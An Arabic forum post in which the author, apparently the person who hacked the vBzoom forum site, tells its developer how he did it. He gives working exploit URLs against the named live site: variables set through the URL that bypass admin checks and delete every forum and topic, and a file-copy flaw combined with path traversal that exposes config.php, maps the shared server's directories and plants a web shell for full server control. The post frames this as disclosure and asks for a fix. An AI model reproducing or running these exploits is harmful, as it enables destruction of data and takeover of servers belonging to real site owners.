السلام عليكم ..
كل عام وانتم بخير ..
اخي خالد .. ذكرت انك استطعت تتبع الاختراق الذي حدث للمنتدى تمكنت من اصلاح الخلل وهذا شيء جيد ..
ولكن الحقيقة ان الثغرات مازالت موجودة .. :( من يومين شيكت على الداتا بنفس الثغرة التي استخدمتها من شهرين ...
على العموم سأعطيك بعض الـ Bugs في كود المنتدى مع الطريقة التي استخدمتها في استثماره ..
عندما يفكر اي هكر في اختراق موقع يجب ان يقرأ الكود حرفا حرف وانا شخصيا لا أؤمن بفكرة خلو اي كود لبرنامج من Bug :)
لندخل في التفاصيل .. هذه نماذج من الـ Bugs :
الثغرة الأولى ... بدرجة متوسط
في كود احد الملفات وجدت المتغير التالي :
if ($ForumDelete==1)
{خليك فاكره ودعنا نكمل استعراض بعض الاكواد ..
انظر الآن الى هذا الكود :
$Result = mysql_query($Sql);
while ($Row = mysql_fetch_array($Result))
{
$Success="1";
}
If ($Success!=1)
{
echo "المعرف او كلمة المرور خطأ";
exit;
}السطر الاول عباره عن متغير اسمه Result توضع فيه قيمة الاستعلام Sql
بعد هذا يدخل في عملية Loop لكي ياخذ كل Record حصل عليه من الاستعلام تبعه
[l]
mysql_fetch_array($Result)
[/l]
الداله هذه ترجع قيمه منطقيه اما True او False
اي ترجع True في حالة انه يوجد Records في متغير Result
واذا رجعت True حتتخزن القيمه في Row
الآن لاحظ التالي :
while ($Row = mysql_fetch_array($Result))
{
$Success="1";
}
If ($Success!=1)
{
echo "المعرف او كلمة المرور خطأ";
exit;
}اذا صارت قيمة Row تساوي True حيتحقق الشرط تبع الـ Loop وبعدها توضع قيمة Success بـ (1)
لاحظ ان قيمة Success هذه غير موجوده اصلا و السطر هذا يعتبر اول سطر يعرفها
وهناا مشكلة الكود هذا اي الـ Bug
رح يصير عندنا الان متغيرين :
[l]
?ForumDelete=1 & Success=1
[/l]
لاحظ اني لو حطيت هالسطرين في المتصفح سوف يعتبر السكربت قيمتها كما وضعتها ..
باقي شي واحد وننتهي ... انظر الى هذا الآن :
$Sql = "delete from Main where MainID=$MainID";
$Result = mysql_query($Sql);
If ($Result)
{
Echo "تم حذف المنتدى";
}
$Sql = "delete from Subject where MainID=$MainID";
$Result = mysql_query($Sql);
If ($Result)
{
Echo "تم حذف جميع مواضيع المنتدى المنتدى";
}لاحظ السطرين اللي امام كلمة Sql
[l]
delete from Subject where MainID=$MainID
[/l]
الثانية تحذف المواضيع كلها والاولى المنتديات :)
المتغير $MainID هذا اصلا غير موجود من بداية السكربت وهنا يعتبر اول تعريف له فلو وضعنا قيمته بـ (1) سوف يصبح السكربت هكذا :
[l]
delete from Subject where MainID= 1
[/l]
بهد هذا نضعها في الاكسبلورر كما شرحت لك وسوف يمسح كل شيء على اساس انك أدمن المنتدى ..:(
هكذا :
http://................/forums/admin/c-mai...lete=1&MainID=1
كان المفروض ان تضع قيمة Success = 0 في اول السكربت ..
أيضا يمكن ان تمسح مجلد الاعضاء ( c-member.php ) بنفس الطريقة ...
http://................/forums/adminc-member.php
?Success=1&ForumDelete=1&MainID=1
..............................................................
ثغرة أخرى وهي التي تم بها اختراق الموقع والسيرفر بالكامل ..
الدرجة : تحكم كامل ..
انظر الى هذا الكود ...
If ($Success==1)
{
iF ($FileName!="none" and $FileName!="")
{
iF ($FileName_size:(
ثم قمت بتعديله في النسخة الاخيرة بحيث يقبل ملفات الصور او الملفات المضغوطة .. ولكن هذه أيضا خطرة جدا ولا تكفي كحل للثغرة ..
لأنني ببساطة يمكن ان ابحث عن اي مجلد او ملف على السيرفر وليس موقعك فقط واستغل هذه الثغرة في وضع شيل او سكربت ..
كما فعلت تماما :)
واستثمار ذلك في الاكسبلورر يكون كالتالي :
[l]
add-subject.php?Success=1&FileName=........&FileName_name=......
[/l]
FileName <<------- هذا عنوان واسم الملف الذي تريد نسخه
FileName_name <<--------- هذا اسم الملف المنسوخ عليه
طريقة عمل ذلك :
افرض انك كتبت اللنك هذا حسب الثغره التي نتحدث عنها :
http://www.vbzoom.com/forums/add-subject.p...name=config.txt
ماذا سوف يفعل هذا اللينك :
سوق ينسخ ملف admin/config.php الى مجلد download ويسمي الملف الجديد config.txt
وانت بعد ان تنتهي من عملية النسخ تكتب هذا اللينك :
http://www.vbzoom.com/forums/download/config.txt
اذا عرض لك الملف config.txt هذا معناه ان المجلد download تصريحه 777
واذا اعطاك الخطا 404 فهذا معناه انه فشل النسخ..
من رسالة الخطأ تستطيع ان تصل لمجلد الـ home تبع السرفر ومعرفة كيفية تنسيقه ..
مثلا :
[l]
/home/virtual/site8/fst/var/www/html/forums/
[/l]
في هذه الباث مخرن موقع vbzoom.com
الآن بالاعتماد على Document root وبعض المعرفة في انواع السيرفرات يمكن ان تفهم آلية تخزين المواقع فيها ..
بالنسبة لسيرفر vboom هو يخزن المواقع عليه بالتسلسل التالي :
[l]
/home/virtual/site1/fst/var/www/html/
/home/virtual/site2/fst/var/www/html/
/home/virtual/site3/fst/var/www/html/
.
.
.
/home/virtual/site8/fst/var/www/html/
[/l]
الآن site8 هو vbzoom.com
و على نفس السيرفر
site3 هو www.ebookforum.net
الآن نعود الى مشكلة FileName_name
واي اسم اكتبه لهذا المتغير سوف يضعه في مجلد download
لو فرضا انك وضعت اسم المتغير هكذا :
[l]
FileName_name=../config.txt
[/l]
النتيجة ستكون :
http://www.vbzoom.com/forums/download/../config.txt
الان النظام عندما يرى :
download/../
سوف يختصر النتيجة الى :
http://www.vbzoom.com/forums/config.txt
ولنقل الملف الى السيرفر سوف نستخدم هذا :
[l]
FileName_name=../../config.txt
[/l]
بعد ذلك كل اسم مجلد في الـ Document root استبدل به :
[l]
/../../../../../../../
[/l]
ولنسخ الملف الى مجلد موقع vbzoom
[l]
FileName_name=../../../../../../../home/virtual/site8/fst/var/www/html/config.txt
[/l]
طبعا هناك الكثير من الأدوات لكشف مجلدات وملفات المواقع ...
بهذا نضع شيل بسيط على سيرفر vbzoom وهنا سوف يتم التحكم بشكل كامل بكل السيرفر ...
..............................................
أظنك الآن فهمت كيف تم الاختراق .. وانا اعتمدت اخفاء بعض الامور في الشرح حتى لا يطبقها أحد على السيرفر ولكنك لو راجعت الكود سوف تفهمها بشكل اكبر ...
أتمنى ان تستفيد من هذه الاخطاء .. فهذا هدفي من كل الكلام انت وكل من يريد بناء موقع او منتدى ...
الآن أنتظر منك سد الثغرة فعلا .. واخبرني بهذا عندما تنتهي حتى اشيك لك ثانية على الموقع ...
على فكرة تفعيل الـ SafeMode ليس نافعا كثيرا ...لذلك لابد من اصلاح الكود ..
كلمة أخيرة :
اياك أن تشعر باليأس فالثغرات موجودة في كل البرامج والأنظمة :)
تمنياتي لك بالتوفيق ...